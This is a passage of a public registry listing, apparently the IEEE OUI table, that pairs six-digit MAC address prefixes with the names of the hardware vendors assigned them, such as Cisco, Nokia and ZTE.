Group Device Co.,Ltd. DC6F00 Livescribe, Inc. D0737F Mini-Circuits A4D094 Erwin Peters Systemtechnik GmbH 0488E2 Beats Electronics LLC D00EA4 Porsche Cars North America F415FD Shanghai Pateo Electronic Equipment Manufacturing Co., Ltd. 2C9464 Cincoze Co., Ltd. B050BC SHENZHEN BASICOM ELECTRONIC CO.,LTD. DC7014 Private 40BC73 CronoplastS.L. 78303B Stephen Technologies Co.,Limited 78F5E5 BEGA Gantenbrink-Leuchten KG 804B20 Ventilation Control 4007C0 Railtec Systems GmbH 94B8C5 RuggedCom Inc. 8C3C07 Skiva Technologies, Inc. 784B08 f.robotics acquisitions ltd 0C2D89 QiiQ Communications Inc. 604A1C SUYIN Corporation A4D3B5 GLITEL Stropkov, s.r.o. A4F3C1 Open Source Robotics Foundation, Inc. 6C8B2F zte corporation B863BC ROBOTIS, Co, Ltd C8DDC9 Lenovo Mobile Communication Technology Ltd. CC1AFA zte corporation 8C5AF0 Exeltech Solar Products F8DADF EcoTech, Inc. 30AE7B Deqing Dusun Electron CO., LTD 1441E2 Monaco Enterprises, Inc. F07765 Sourcefire, Inc E4F7A1 Datafox GmbH 601E02 EltexAlatau E47D5A Beijing Hanbang Technology Corp. 4C6255 SANMINA-SCI SYSTEM DE MEXICO S.A. DE C.V. 381766 PROMZAKAZ LTD. 204C6D Hugo Brennenstuhl Gmbh & Co. KG. DC825B JANUS, spol. s r.o. B08807 Strata Worldwide 74D02B ASUSTek COMPUTER INC. A4E0E6 FILIZOLA S.A. PESAGEM E AUTOMACAO 60E00E SHINSEI ELECTRONICS CO LTD 30D46A Autosales Incorporated 30AABD Shanghai Reallytek Information Technology Co.,Ltd A4B818 PENTA Gesellschaft für elektronische Industriedatenverarbeitung mbH 106682 NEC Platforms, Ltd. 102831 Morion Inc. D81EDE B&W Group Ltd 6897E8 Society of Motion Picture & Television Engineers FC58FA Shen Zhen Shi Xin Zhong Xin Technology Co.,Ltd. 60601F SZ DJI TECHNOLOGY CO.,LTD E0C6B3 MilDef AB FCDB96 ENERVALLEY CO., LTD 882E5A storONE D429EA Zimory GmbH C80E95 OmniLync Inc. 50ABBF Hoseo Telecom C8EEA6 Shenzhen SHX Technology Co., Ltd 28CBEB One 18E8DD MODULETEK 4CCC34 Motorola Solutions Inc. F084C9 zte corporation E894F6 TP-LINK TECHNOLOGIES CO.,LTD. 94ACCA trivum technologies GmbH 7CD844 Enmotus Inc F4C6D7 blackned GmbH 4CCA53 Skyera, Inc. 081DFB Shanghai Mexon Communication Technology Co.,Ltd D0CDE1 Scientech Electronics 94756E QinetiQ North America 0C5521 Axiros GmbH A4D856 Gimbal, Inc 10A743 SK Mtek Limited E4A7FD Cellco Partnership 24F2DD Radiant Zemax LLC 80CF41 Lenovo Mobile Communication Technology Ltd. 7C9A9B VSE valencia smart energy A845E9 Firich Enterprises CO., LTD. 78995C Nationz Technologies Inc 8CC5E1 ShenZhen Konka Telecommunication Technology Co.,Ltd 6CB311 Shenzhen Lianrui Electronics Co.,Ltd 54115F Atamo Pty Ltd 2411D0 Chongqing Ehs Science and Technology Development Co.,Ltd. 6C9AC9 Valentine Research, Inc. 10F49A T3 Innovation 5865E6 INFOMARK CO., LTD. 60BD91 Move Innovation 98473C SHANGHAI SUNMON COMMUNICATION TECHNOGY CO.,LTD CC4BFB Hellberg Safety AB ACA22C Baycity Technologies Ltd 6CADEF KZ Broadband Technologies, Ltd. 044BFF GuangZhou Hedy Digital Technology Co., Ltd 949BFD Trans New Technology, Inc. E4EEFD MR&D Manufacturing 105CBF DuroByte Inc EC89F5 Lenovo Mobile Communication Technology Ltd. 083AB8 Shinoda Plasma Co., Ltd. A0DD97 PolarLink Technologies, Ltd E05597 Emergent Vision Technologies Inc. A01917 Bertel S.p.a. FC9FAE Fidus Systems Inc FC0647 Cortland Research, LLC 20918A PROFALUX 7C438F E-Band Communications Corp. FC626E Beijing MDC Telecom C0B339 Comigo Ltd. DCC0DB Shenzhen Kaiboer Technology Co., Ltd. 7076DD Oxyguard International A/S 683B1E Countwise LTD D4136F Asia Pacific Brands A0A130 DLI Taiwan Branch office ECE915 STI Ltd A81FAF KRYPTON POLSKA 087BAA SVYAZKOMPLEKTSERVICE, LLC 2C26C5 zte corporation BC629F Telenet Systems P. Ltd. B47F5E Foresight Manufacture (S) Pte Ltd 785517 SankyuElectronics 848E96 Embertec Pty Ltd CC3A61 SAMSUNG ELECTRO MECHANICS CO., LTD. A00363 Robert Bosch Healthcare GmbH F0F644 Whitesky Science & Technology Co.,Ltd. 30D357 Logosol, Inc. 2C441B Spectrum Medical Limited 1C5A6B Philips Electronics Nederland BV A875D6 FreeTek International Co., Ltd. 58EB14 Proteus Digital Health 789F87 Siemens AG I IA PP PRM 7C0A50 J-MEX Inc. 40F2E9 IBM 9C0473 Tecmobile (International) Ltd. CC262D Verifi, LLC 3C8AE5 Tensun Information Technology(Hangzhou) Co.,LTD 54DF63 Intrakey technologies GmbH 7C0187 Curtis Instruments, Inc. 388EE7 Fanhattan LLC 54F666 Berthold Technologies GmbH and Co.KG 802FDE Zurich Instruments AG 08AF78 Totus Solutions, Inc. 5C38E0 Shanghai Super Electronics Technology Co.,LTD A0E534 Stratec Biomedical AG 2891D0 Stage Tec Entwicklungsgesellschaft für professionelle Audiotechnik mbH 98291D Jaguar de Mexico, SA de CV 18863A DIGITAL ART SYSTEM F4B72A TIME INTERCONNECT LTD 34D7B4 Tributary Systems, Inc. F40F9B WAVELINK 144319 Creative&Link Technology Limited 64F50E Kinion Technology Company Limited 28A186 enblink 1C9492 RUAG Schweiz AG 24694A Jasmine Systems Inc. C8C791 Zero1.tv GmbH 60748D Atmaca Elektronik 78D129 Vicos 78AB60 ABB Australia 289A4B SteelSeries ApS 0CC66A Nokia Corporation 7CFE28 Salutron Inc. 109FA9 Actiontec Electronics, Inc C0A364 3D Systems Massachusetts 98A7B0 MCST ZAO 88DC96 SENAO Networks, Inc. C455C2 Bach-Simpson ECA29B Kemppi Oy 04CE14 Wilocity LTD. 802AFA Germaneers GmbH 1C8464 FORMOSA WIRELESS COMMUNICATION CORP. D867D9 Cisco Systems, Inc B4218A Dog Hunter LLC F8A03D Dinstar Technologies Co., Ltd. D08CFF UPWIS AB 9C066E Hytera Communications Corporation Limited 746A89 Rezolt Corporation 68D1FD Shenzhen Trimax Technology Co.,Ltd 241B13 Shanghai Nutshell Electronic Co., Ltd. B43564 Fujian Tian Cheng Electron Science & Technical Development Co.,Ltd. 54D1B0 Universal Laser Systems, Inc A497BB Hitachi Industrial Equipment Systems Co.,Ltd FC52CE Control iD E804F3 Throughtek Co., Ltd. B85810 NUMERA, INC. 9886B1 Flyaudio corporation (China) 28B3AB Genmark Automation 44E8A5 Myreka Technologies Sdn. Bhd. AC14D2 wi-daq, inc. 9C4CAE Mesa Labs 7CD9FE New Cosmos Electric Co., Ltd. E49069 Rockwell Automation B48910 Coster T.E. S.P.A. A4B1E9 Technicolor 30AEF6 Radio Mobile Access 58343B Glovast Technology Ltd. 54A04F t-mac Technologies Ltd E44F5F EDS Elektronik Destek San.Tic.Ltd.Sti 08B738 Lite-On Technogy Corp. 9C6650 Glodio Technolies Co.,Ltd Tianjin Branch 503955 Cisco SPVTG 90CF6F Dlogixs Co Ltd 68AF13 Futura Mobility B82410 Magneti Marelli Slovakia s.r.o. A8EF26 Tritonwave F0D3E7 Sensometrix SA 7CC8D0 TIANJIN YAAN TECHNOLOGY CO., LTD. 88E917 Tamaggo 80AAA4 USAG 5C2479 Baltech AG E8CBA1 Nokia Corporation F85F2A Nokia Corporation 286094 CAPELEC 60E956 Ayla Networks, Inc 287184 Spire Payments 1CB094 HTC Corporation FC5090 SIMEX Sp. z o.o. 209BA5 JIAXING GLEAD Electronics Co.,Ltd 60843B Soladigm, Inc. 508C77 DIRMEIER Schanktechnik GmbH &Co KG 6089B1 Key Digital Systems 080CC9 Mission Technology Group, dba Magma A0F450 HTC Corporation 44D15E Shanghai Kingto Information Technology Ltd 545EBD NL Technologies C8BBD3 Embrane ECD19A Zhuhai Liming Industries Co., Ltd 346E8A Ecosense ACEE3B 6harmonics Inc 681605 Systems And Electronic Development FZCO 04F17D Tarana Wireless A0DC04 Becker-Antriebe GmbH 2CBE97 Ingenieurbuero Bickele und Buehler GmbH 045A95 Nokia Corporation B40E96 HERAN 0CAF5A GENUS POWER INFRASTRUCTURES LIMITED D0699E LUMINEX Lighting Control Equipment 64AE88 Polytec GmbH 2C542D Cisco Systems, Inc 709E86 X6D Limited 946124 Pason Systems DC309C Heyrex Limited E81324 GuangZhou Bonsoninfo System CO.,LTD 0036F8 Conti Temic microelectronic GmbH 443839 Cumulus Networks, inc 20F002 MTData Developments Pty. Ltd. CC912B TE Connectivity Touch Solutions 785262 Shenzhen Hojy Software Co., Ltd. 40336C Godrej & Boyce Mfg. co. ltd FC1D59 I Smart Cities HK Ltd EC0ED6 ITECH INSTRUMENTS SAS D0D212 K2NET Co.,Ltd. 9C8EDC Teracom Limited 146A0B Cypress Electronics Limited B0750C QA Cafe B4E1EB Private FC2A54 Connected Data, Inc. A090DE VEEDIMS,LLC AC1461 ATAWCo., Ltd. 508A42 Uptmate Technology Co., LTD 8C57FD LVX Western 002A6A Cisco Systems, Inc B88F14 Analytica GmbH 94FAE8 Shenzhen Eycom Technology Co., Ltd 3CA315 Bless Information & Communications Co., Ltd F8DB4C PNY Technologies, INC. F83094 Alcatel-Lucent Telecom Limited 2817CE Omnisense Ltd 28E608 Tokheim E477D4 Minrray Industry Co.,Ltd A4B980 Parking BOXX Inc. 002D76 TITECH GmbH 78A183 Advidia F85063 Verathon 400E67 Tremol Ltd. 901B0E Fujitsu Technology Solutions GmbH 5C6F4F S.A. SISTEL B058C4 Broadcast Microwave Services, Inc B820E7 Guangzhou Horizontal Information & Network Integration Co. Ltd 98588A SYSGRATION Ltd. 842B50 Huria Co.,Ltd. 0C5A19 Axtion Sdn Bhd A00CA1 SKTB SKiT E09579 ORTHOsoft inc, d/b/a Zimmer CAS 307ECB SFR 90A783 JSW PACIFIC CORPORATION 000830 Cisco Systems, Inc CCEF48 Cisco Systems, Inc 78A5DD Shenzhen Smarteye Digital Electronics Co., Ltd 28B0CC Xenya d.o.o. ECE744 Omntec mfg. inc 80427C Adolf Tedsen GmbH & Co. KG F8F7D3 International Communications Corporation B89AED OceanServer Technology, Inc E455EA Dedicated Computing 00FC58 WebSilicon Ltd. 64A0E7 Cisco Systems, Inc 18E80F Viking Electronics Inc. EC6264 Global411 Internet Services, LLC 00F051 KWB Gmbh F0DEB9 ShangHai Y&Y Electronics Co., Ltd AC54EC IEEE P1823 Standards Working Group C8292A Barun Electronics E0DADC JVC KENWOOD Corporation C894D2 Jiangsu DatangElectronic Products Co., Ltd A0423F Tyan Computer Corp 5C18B5 Talon Communications 78BAD0 Shinybow Technology Co. Ltd. 306CBE Skymotion Technology (HK) Limited 40D559 MICRO S.E.R.I. F82F5B eGauge Systems LLC 3499D7 Universal Flow Monitors, Inc. 7C336E MEG Electronics Inc. D4D249 Power Ethernet 10C2BA UTT Co., Ltd. F0DA7C RLH INDUSTRIES,INC. 40984C Casacom Solutions AG B8975A BIOSTAR Microtech Int'l Corp. 4833DD ZENNIO AVANCE Y TECNOLOGIA, S.L. D4D748 Cisco Systems, Inc 9CCAD9 Nokia Corporation F8313E endeavour GmbH 10FC54 Shany Electronic Co., Ltd. D8E743 Wush, Inc 908FCF UNO System Co., Ltd 903CAE Yunnan KSEC Digital Technology Co.,Ltd. 000831 Cisco Systems, Inc F0620D Shenzhen Egreat Tech Corp.,Ltd 843611 hyungseul publishing networks B8FD32 Zhejiang ROICX Microelectronics D8052E Skyviia Corporation F83553 Magenta Research Ltd. DC3C2E Manufacturing System Insights, Inc. 40BC8B itelio GmbH 88C36E Beijing Ereneben lnformation Technology Limited 8CDE52 ISSC Technologies Corp. A8776F Zonoff 902B34 GIGA-BYTE TECHNOLOGY CO.,LTD. 48E1AF Vity C0A0DE Multi Touch Oy 943AF0 Nokia Corporation B826D4 Furukawa Industrial S.A. Produtos Elétricos 14E4EC mLogic LLC AC0DFE Ekon GmbH - myGEKKO 005CB1 Gospell DIGITAL TECHNOLOGY CO., LTD 186751 KOMEG Industrielle Messtechnik GmbH B467E9 Qingdao GoerTek Technology Co., Ltd. B49EE6 SHENZHEN TECHNOLOGY CO LTD 7041B7 Edwards Lifesciences LLC A849A5 Lisantech Co., Ltd. 94DB49 SITCORP 8CD17B CG Mobile 144978 Digital Control Incorporated FC8FC4 Intelligent Technology Inc. F04A2B PYRAMID Computer GmbH CC9093 Hansong Tehnologies 78F7D0 Silverbrook Research F04B6A Scientific Production Association Siberian Arsenal, Ltd. 30DE86 Cedac Software S.r.l. F013C3 SHENZHEN FENDA TECHNOLOGY CO., LTD CCE7DF American Magnetics, Inc. E44E18 Gardasoft VisionLimited D41C1C RCF S.P.A. 8C94CF Encell Technology, Inc. 149090 KongTop industrial(shen zhen)CO.,LTD CCF8F0 Xi'an HISU Multimedia Technology Co.,Ltd. 30F9ED Sony Corporation 28C718 Altierre 2046A1 VECOW Co., Ltd 8C271D QuantHouse 9C8BF1 The Warehouse Limited 147DC5 Murata Manufacturing Co., Ltd. 944696 BaudTec Corporation 90342B Gatekeeper Systems, Inc. D45251 IBT Ingenieurbureau Broennimann Thun 3071B2 Hangzhou Prevail Optoelectronic Equipment Co.,LTD. B82ADC EFR Europäische Funk-Rundsteuerung GmbH B09BD4 GNH Software India Private Limited 7CF429 NUUO Inc. B8CDA7 Maxeler Technologies Ltd. F49461 NexGen Storage 804731 Packet Design, Inc. ACCB09 Hefcom Metering (Pty) Ltd 10EED9 Canoga Perkins Corporation 240BB1 KOSTAL Industrie Elektrik GmbH 20EEC6 Elefirst Science & Tech Co ., ltd 807A7F ABB Genway Xiamen Electrical Equipment CO., LTD 14373B PROCOM Systems B81999 Nesys 4C5585 Hamilton Systems 8CCF5C BEFEGA GmbH A0133B HiTi Digital, Inc. 448E12 DT Research, Inc. 9C5711 Feitian Xunda(Beijing) Aeronautical Information Technology Co., Ltd. 18AD4D Polostar Technology Corporation 4CA74B Alcatel Lucent 549478 Silvershore Technology Partners F4B164 Lightning Telecommunications Technology Co. Ltd 0CFC83 Airoha Technology Corp., 0C51F7 CHAUVIN ARNOUX 70B035 Shenzhen Zowee Technology Co., Ltd 708105 Cisco Systems, Inc 00082F Cisco Systems, Inc 542018 Tely Labs 581FEF Tuttnaer LTD F8F25A G-Lab GmbH BC779F SBM Co., Ltd. C058A7 Pico Systems Co., Ltd. 04D783 Y&H E&C Co.,LTD. 00E175 AK-Systems Ltd 843F4E Tri-Tech Manufacturing, Inc. C83232 Hunting Innova D059C3 CeraMicro Technology Corporation EC9681 2276427 Ontario Inc B8288B Parker Hannifin Manufacturing (UK) Ltd 5835D9 Cisco Systems, Inc 802E14 azeti Networks AG E8944C Cogent Healthcare Systems Ltd 68F895 Redflow Limited A88792 Broadband Antenna Tracking Systems 901900 SCS SA AC932F Nokia Corporation 1435B3 Future Designs, Inc. FCF1CD OPTEX-FA CO.,LTD. B03829 Siliconware Precision Industries Co., Ltd. BC0F2B FORTUNE TECHGROUP CO.,LTD 8CF9C9 MESADA Technology Co.,Ltd. E42AD3 Magneti Marelli S.p.A. Powertrain FC10BD Control Sistematizado S.A. 443719 2 Save Energy Ltd E83EB6 RIM 94FD1D WhereWhen Corp 0CE82F Bonfiglioli Vectron GmbH C0626B Cisco Systems, Inc B4B88D Thuh Company 60F59C CRU-Dataport 4C73A5 KOVE F86971 Seibu Electric Co., 44AA27 udworks Co., Ltd. 6CAD3F Hubbell Building Automation, Inc. 8427CE Corporation of the Presiding Bishop of The Church of Jesus Christ of Latter-day Saints D428B2 ioBridge, Inc. 90B8D0 Joyent, Inc. 909060 RSI VIDEO TECHNOLOGIES 281471 Lantis co., LTD. 1407E0 Abrantix AG DCCF94 Beijing Rongcheng Hutong Technology Co., Ltd. 18E288 STT Condigi 68876B INQ Mobile Limited 9866EA Industrial Control Communications, Inc. F4A52A Hawa Technologies Inc 90CF15 Nokia Corporation B8D49D M Seven System Ltd. B0A10A Pivotal Systems Corporation 48F47D TechVision HoldingInternation Limited 6C391D Beijing ZhongHuaHun Network Information center 64D241 Keith & Koep GmbH 101212 Vivo International Corporation Pty Ltd 5087B8 Nuvyyo Inc E41289 topsystem Systemhaus GmbH A4134E Luxul B09928 FUJITSU LIMITED 8C11CB ABUS Security-Center GmbH & Co. KG 806459 Nimbus Inc. A45A1C smart-electronic GmbH 8C89A5 Micro-Star INT'L CO., LTD 3C672C Sciovid Inc. 18D071 DASAN CO., LTD. 38D135 EasyIO Corporation Sdn. Bhd. 184E94 MESSOA TECHNOLOGIES INC. 94D93C ENELPS DC9B1E Intercom, Inc. 5C7757 Haivision Network Video E8B4AE Shenzhen C&D Electronics Co.,Ltd C45600 Galleon Embedded Computing E42FF6 Unicore communication Inc. B8F4D0 Herrmann Ultraschalltechnik GmbH & Co. Kg B4F323 PETATEL INC. C81E8E ADV Security (S) Pte Ltd ACCABA Midokura Co., Ltd. 9C417C HameTechnology Co.,Limited 10768A EoCell 044665 Murata Manufacturing Co., Ltd. D0131E Sunrex Technology Corp 380197 TSST Global,Inc B40142 GCI Science & Technology Co.,LTD 846EB1 Park Assist LLC 6C504D Cisco Systems, Inc C0C1C0 Cisco-Linksys, LLC 1CBD0E Amplified Engineering Pty Ltd F0A764 GST Co., Ltd. A0F217 GE Medical System(China) Co., Ltd. 643409 BITwave Pte Ltd 20D5AB Korea Infocom Co.,Ltd. F05849 CareView Communications BC15A6 Taiwan Jantek Electronics,Ltd. 241A8C Squarehead Technology AS 1083D2 Microseven Systems, LLC F05D89 Dycon Limited AC02CF RW Tecnologia Industria e Comercio Ltda 9067B5 Alcatel-Lucent 40987B Aisino Corporation 6C2E33 Accelink Technologies Co.,Ltd. 4CEDDE ASKEY COMPUTER CORP E8E08F GRAVOTECH MARKING SAS 78B6C1 AOBO Telecom Co.,Ltd B8BA68 Xi'an Jizhong Digital Communication Co.,Ltd BC38D2 Pandachip Limited 14EE9D AirNav Systems LLC 48174C MicroPower technologies F81037 Atopia Systems, LP 64F987 Avvasi Inc. 3C7437 RIM 64DC01 Static Systems Group PLC 1CF5E7 Turtle Industry Co., Ltd. 2C8065 HARTING Inc. of North America F8F014 RackWare Inc. E41C4B V2 TECHNOLOGY, INC. E0143E Modoosis Inc. 204AAA Hanscan Spain S.A. F02572 Cisco Systems, Inc 8091C0 AgileMesh, Inc. 0CF0B4 Globalsat International Technology Ltd BCC61A SPECTRA EMBEDDED SYSTEMS 48DF1C Wuhan NEC Fibre Optic Communications industry Co. Ltd D0D3FC Mios, Ltd. 989449 Skyworth Wireless Technology Ltd. C8DF7C Nokia Corporation F8C678 Carefusion FC3598 Favite Inc. A0AAFD EraThink Technologies Corp. E03E7D data-complex GmbH A4E32E Silicon & Software Systems Ltd. 1C19DE eyevis GmbH DC07C1 HangZhou QiYang Technology Co.,Ltd. D8FE8F IDFone Co., Ltd. 0006F6 Cisco Systems, Inc ACAB8D Lyngso Marine A/S E8995A PiiGAB, Processinformation i Goteborg AB D4E32C S. Siedle & Sohne 68DCE8 PacketStorm Communications 78223D Affirmed Networks 60C980 Trymus 94CDAC Creowave Oy F4DCDA Zhuhai Jiahe Communication Technology Co., limited 100D32 Embedian, Inc. D82986 Best Wish Technology LTD C03B8F Minicom Digital Signage A4218A Nortel Networks 6C0460 RBH Access Technologies Inc. 5C864A Secret Labs LLC B8BA72 Cynove C00D7E Additech, Inc. 68784C Nortel Networks 6C626D Micro-Star INT'L CO., LTD 8841C1 ORBISAT DA AMAZONIA IND E AEROL SA 18B209 Torrey Pines Logic, Inc 3018CF DEOS control systems GmbH 4CF737 SamJi Electronics Co., Ltd 40406B Icomera 1880CE Barberry Solutions Ltd CC43E3 Trump s.a. 6C22AB Ainsworth Game Technology 3C106F ALBAHITH TECHNOLOGIES 7CE044 NEON Inc 64D02D Next Generation Integration (NGI) A04041 SAMWONFA Co.,Ltd. 9411DA ITF Fröschl GmbH 10E8EE PhaseSpace A47C1F Cobham plc 8C1F94 RF Surgical System Inc. 74A4A7 QRS Music Technologies, Inc. 8039E5 PATLITE CORPORATION BCFFAC TOPCON CORPORATION 602A54 CardioTek B.V. 1C3DE7 Sigma Koki Co.,Ltd. 482CEA Motorola Inc Business Light Radios 70E139 3view Ltd AC6123 Drivven, Inc. 3C04BF PRAVIS SYSTEMS Co.Ltd., 443D21 Nuvolt 749050 Renesas Electronics Corporation 7CBB6F Cosco Electronics Co., Ltd. 98E165 Accutome EC66D1 B&W Group LTD 385FC3 Yu Jeong System, Co.Ltd 94857A Evantage Industries Corp 4451DB Raytheon BBN Technologies 64995D LGE 585076 Linear Equipamentos Eletronicos SA 4083DE Zebra Technologies Inc 8897DF Entrypass Corporation Sdn. Bhd. 0C15C5 SDTEC Co., Ltd. 9803A0 ABB n.v. Power Quality Products DCFAD5 STRONG Ges.m.b.H. D84606 Silicon Valley Global Marketing D0E347 Yoga 84A991 Cyber Trans Japan Co.,Ltd. D81C14 Compacta International, Ltd. 9088A2 IONICS TECHNOLOGY ME LTDA B0B8D5 Nanjing Nengrui Auto Equipment CO.,Ltd 8497B8 Memjet Inc. A8556A Pocketnet Technology Inc. B081D8 I-sys Corp 206AFF Atlas Elektronik UK Limited EC542E Shanghai XiMei Electronic Technology Co. Ltd B88E3A Infinite Technologies JLT 74BE08 ATEK Products, LLC E0EE1B Panasonic Automotive Systems Company of America E80C38 DAEYOUNG INFORMATION SYSTEM CO., LTD 68597F Alcatel Lucent 2C3068 Pantech Co.,Ltd 5C4058 Jefferson Audio Video Systems, Inc. 64317E Dexin Corporation AC9B84 Smak Tecnologia e Automacao 4C022E CMR KOREA CO., LTD 24A42C KOUKAAM a.s. 34F39B WizLAN Ltd. 74B9EB JinQianMao Technology Co.,Ltd. 244597 GEMUE Gebr. Mueller Apparatebau 30694B RIM AC5135 MPI TECH 00D38D Hotel Technology Next Generation 3C6278 SHENZHEN JETNET TECHNOLOGY CO.,LTD. 8081A5 TONGQING COMMUNICATION EQUIPMENT (SHENZHEN) Co.,Ltd EC8EAD DLX ECDE3D Lamprey Networks, Inc. 04FE7F Cisco Systems, Inc E8056D Nortel Networks 00D11C ACETEL 1056CA Peplink International Ltd. 44A689 PROMAX ELECTRONICA SA 10CCDB AXIMUM PRODUITS ELECTRONIQUES 6C92BF Inspur Electronic Information Industry Co.,Ltd. E01CEE Bravo Tech, Inc. 3C1915 GFI Chrono Time EC5C69 MITSUBISHI HEAVY INDUSTRIES MECHATRONICS SYSTEMS,LTD. 04E548 Cohda Wireless Pty Ltd 0C1DC2 SeAH Networks 28CD4C Individual Computers GmbH 8C53F7 A&D ENGINEERING CO., LTD. 781185 NBS Payment Solutions Inc. 2893FE Cisco Systems, Inc 10B7F6 Plastoform Industries Ltd. 2059A0 Paragon Technologies Inc. 487119 SGB GROUP LTD. E0ABFE Orb Networks, Inc. CCEA1C DCONWORKSCo., Ltd ACE348 MadgeTech, Inc 687F74 Cisco-Linksys, LLC CCB888 AnB Securite s.a. CC2218 InnoDigital Co., Ltd. B86491 CK Telecom Ltd 80C862 Openpeak, Inc E43593 Hangzhou GoTo technology Co.Ltd E0BC43 C2 Microsystems, Inc. 7884EE INDRA ESPACIO S.A. 2C3F3E Alge-Timing GmbH C0CFA3 Creative Electronics & Software, Inc. D4823E Argosy Technologies, Ltd. 844823 WOXTER TECHNOLOGY Co. Ltd D0F0DB Ericsson 7C1476 Damall Technologies SAS D05875 Active Control Technology Inc. D81BFE TWINLINX CORPORATION D46CBF Goodrich ISR 5C57C8 Nokia Corporation 4CC602 Radios, Inc. 3C05AB Product Creation Studio 3C39C3 JW Electronics Co., Ltd. 547FEE Cisco Systems, Inc A4C2AB Hangzhou LEAD-IT Information & Technology Co.,Ltd 48AA5D Store Electronic Systems 1062C9 Adatis GmbH & Co. KG D8AE90 Itibia Technologies 904716 RORZE CORPORATION 28E794 Microtime Computer Inc. 8894F9 Gemicom Technology, Inc. 0CA42A OB Telecom Electronic Technology Co., Ltd 5850E6 Best Buy Corporation AC9A96 Lantiq Deutschland GmbH E86CDA Supercomputers and Neurocomputers Research Center 24B6B8 FRIEM SPA F86ECF Arcx Inc 8C8401 Private 6C7039 Novar GmbH A4561B MCOT Corporation 80EE73 Shuttle Inc. 10C73F Midas Klark Teknik Ltd 408A9A TITENG CO., Ltd. 702B1D E-Domus International Limited F077D0 Xcellen 785C72 Hioso Technology Co., Ltd. 94236E Shenzhen Junlan Electronic Ltd 88BA7F Qfiednet Co., Ltd. E02636 Nortel Networks 4456B7 Spawn Labs, Inc A09805 OpenVox Communication Co Ltd 00271D Comba Telecom Systems (China) Ltd. 002721 Shenzhen Baoan Fenda Industrial Co., Ltd A09A5A Time Domain 64A837 Juni Korea Co., Ltd B4B5AF Minsung Electronics 44568D PNC TechnologiesCo., Ltd. ACD180 Crexendo Business Solutions, Inc. AC8317 Shenzhen Furtunetel Communication Co., Ltd E80B13 Akib Systems Taiwan, INC 44C9A2 Greenwald Industries 646E6C Radio Datacom LLC E4751E Getinge Sterilization AB F8811A OVERKIZ 042BBB PicoCELA, Inc. FC0877 Prentke Romich Company ECD00E MiraeRecognition Co., Ltd. 747E1A Red Embedded Design Limited C47D4F Cisco Systems, Inc 4C9EE4 Hanyang Navicom Co.,Ltd. 3CDF1E Cisco Systems, Inc BCB181 SHARP CORPORATION 78B81A INTER SALES A/S 78192E NASCENT Technology 2C0623 Win Leader Inc. C82E94 Halfa Enterprise Co., Ltd. 0C2755 Valuable Techologies Limited C038F9 Nokia Danmark A/S F46349 Diffon Corporation 5C8778 Cybertelbridge co.,ltd 9C5E73 Calibre UK LTD F06281 ProCurve Networking by HP 003A9B Cisco Systems, Inc 2C9127 Eintechno Corporation C09C92 COBY 849000 Arnold & Richter Cine Technik C87248 Aplicom Oy 74D850 Evrisko Systems 6CAC60 Venetex Corp DC0265 Meditech Kft 68A1B7 Honghao Mingchuan Technology (Beijing) CO.,Ltd. 7CCFCF Shanghai SEARI Intelligent System Co., Ltd EC3091 Cisco Systems, Inc 3032D4 Hanilstm Co., Ltd. 0026EE TKM GmbH 0026E7 Shanghai ONLAN Communication Tech. Co., Ltd. 0026E1 Stanford University, OpenFlow Group 0026DB Ionics EMS Inc. 0026CE Kozumi USA Corp. 0026D5 Ory Solucoes em Comercio de Informatica Ltda. 0026C8 System Sensor 002711 LanPro Inc 00270D Cisco Systems, Inc 002707 Lift Complex DS, JSC 002700 Shenzhen Siglent Technology Co., Ltd. 0026FA BandRich Inc. 0026F4 Nesslab 0025D7 CEDO 0025D2 InpegVision Co., Ltd 0025D1 Eastern Asia Technology Limited 0025CB Reiner SCT 0025BF Wireless Cables Inc. 0025B1 Maya-Creation Corporation 0025B8 Agile Communications, Inc. 0025B2 MBDA Deutschland GmbH 0025AC I-Tech corporation 0026C2 SCDI Co. LTD 0026BC General Jack Technology Ltd. 0026B4 Ford Motor Company 0026AE Wireless Measurement Ltd 0026AA Kenmec Mechanical Engineering Co., Ltd. 0026A4 Novus Produtos Eletronicos Ltda 002698 Cisco Systems, Inc 00269D M2Mnet Co., Ltd. 00268B Guangzhou Escene Computer Technology Limited 002685 Digital Innovation 002678 Logic Instrument SA 002672 AAMP of America 00266B SHINE UNION ENTERPRISE LIMITED 002666 EFM Networks 002665 ProtectedLogic Corporation 002651 Cisco Systems, Inc 002652 Cisco Systems, Inc 002646 SHENYANG TONGFANG MULTIMEDIA TECHNOLOGY COMPANY LIMITED 002640 Baustem Broadband Technologies, Ltd. 00263A Digitec Systems 002634 Infineta Systems, Inc 002633 MIR - Medical International Research 00262E Chengdu Jiuzhou Electronic Technology Inc 002627 Truesell 002621 InteliCloud Technology Inc. 00261B LAUREL BANK MACHINES CO., LTD. 002614 KTNF 00260E Ablaze Systems, LLC 002602 SMART Temps LLC 002601 Cutera Inc 0025F7 Ansaldo STS USA 0025FC ENDA ENDUSTRIYEL ELEKTRONIK LTD. STI. 0025ED NuVo Technologies LLC 0025EE Avtex Ltd 0025E8 Idaho Technology 0025E3 Hanshinit Inc. 0025DE Probits Co., LTD. 002579 J & F Labs 00257E NEW POS Technology Limited 002572 Nemo-Q International AB 00256B ATENIX E.E. s.r.l. 00256C Azimut Production Association JSC 00255F SenTec AG 00255A Tantalus Systems Corp. 002559 Syphan Technologies Ltd 0025A5 Walnut Media Network 00259F TechnoDigital Technologies GmbH 002599 Hedon e.d. B.V. 002592 Guangzhou Shirui Electronic Co., Ltd 00258D Haier 002588 Genie Industries, Inc. 002583 Cisco Systems, Inc 00254C Videon Central, Inc. 002536 Oki Electric Industry Co., Ltd. 00253D DRS Consolidated Controls 002540 Quasar Technologies, Inc. 002533 WITTENSTEIN AG 00252C Entourage Systems, Inc. 002502 NaturalPoint 0024FB Private 0024F6 MIYOSHI ELECTRONICS CORPORATION 0024EA iris-GmbH infrared & intelligent sensors 0024E3 CAO Group 002527 Bitrode Corp. 002524 Lightcomm Technology Co., Ltd 00251F ZYNUS VISION INC. 00251A Psiber Data Systems Inc. 002515 SFR 00250E gt german telematics gmbh 002507 ASTAK Inc. 002509 SHARETRONIC Group LTD 002437 Motorola - BSG 00243C S.A.A.A. 002430 Ruby Tech Corp. 0023FB IP Datatel, LLC. 0023F3 Glocom, Inc. 0023EF Zuend Systemtechnik AG 0023E9 F5 Networks, Inc. 0023E3 Microtronic AG 0023E2 SEA Signalisation 0023DD ELGIN S.A. 0023D0 Uniloc USA Inc. 0023CA Behind The Set, LLC 0024B0 ESAB AB 0024A9 Ag Leader Technology 0024A2 Hong Kong Middleware Technology Limited 0024A4 Siklu Communication 00249D NES Technology Inc. 00248A Kaga Electronics 